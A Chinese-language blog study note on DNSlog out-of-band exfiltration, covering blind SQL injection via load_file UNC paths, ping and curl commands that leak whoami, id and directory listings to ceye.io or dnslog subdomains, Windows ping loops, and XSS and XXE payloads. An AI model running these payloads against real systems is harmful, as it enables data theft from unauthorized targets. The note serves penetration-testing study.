Back

DNSlog注入

DNSlog注入学习

前置

域名分级与域名解析过程(DNS)

读完之后可以感受到,从用户到本地DNS服务器使用的是递归查询,递归的是本地DNS服务器帮你去迭代查询。

其中,红色部分是可控的。我们只需要弄一个红色部分的DNS服务器,就得到DNS的解析日志。

红色部分哪里来?自己搭建去(不一定),可以用下面的网站。

网站

http://www.dnslog.cn/

http://ceye.io/

原理

DNS注入

上面这些讲的很清楚,这里再用自己的话总结一下,就以Sql的利用为例子:

在权限(文件可读)、环境(secure_file_priv)、长度(max_allowed_packet)都满足的情况下,在通过LOAD-FILE等文件函数进行读写时,整了个UCN路径,UCN路径构建DNS服务器地址,假装访问文件,产生DNSlog,就是这个DNSlog可以夹带私货,比如

select load_file(concat(’\\’,(select database()),’.xxxx.ceye.io\abc’))

UNC路径的理解(Universal Naming Convention)

利用

使用DNSLOG拯救你的盲打盲注

DNSLog在渗透中的使用

1.SQL注入中的盲注

2.无回显的命令执行

Linux

 ping `whoami`.xxxx.ceye.io
 curl http://haha.xxx.ceye.io/`whoami`

像这里还有复杂点的,base64,多行输出等等

curl http://xxx.dnslog.link/$(id|base64|tr '\n' '-')
for i in $(ls /);do curl "http://$i.xxx.dnslog.link/";done;

Windows

ping %USERNAME%.xxx.ceye.io

这里也有复杂点的,其实都是配合命令行来

获取计算机名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link

获取用户名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link

3.无回显SSRF

基本是把url换成想要的SSRF.xxxx.ceye.io

4.XSS跨站

<script src=http://XSS.XXXXX.ceye.io></script>

5.XXE

改dtd:

<!ENTITY % all

"<!ENTITY % send SYSTEM 'http://xxxx.ceye.io/%file;'>"

>

%all;

Tips

**为什么要使用DNS注入?**同学面试的时候被问过,原话是:除了上述这些(报错,盲注等)注入,sql注入有没有啥快速跑出来的方法?

盲注跑数据太慢的情况下,可以选择DNS注入。

Built with Hugo
Theme Stack designed by Jimmy
© Licensed Under CC BY-NC-SA 4.0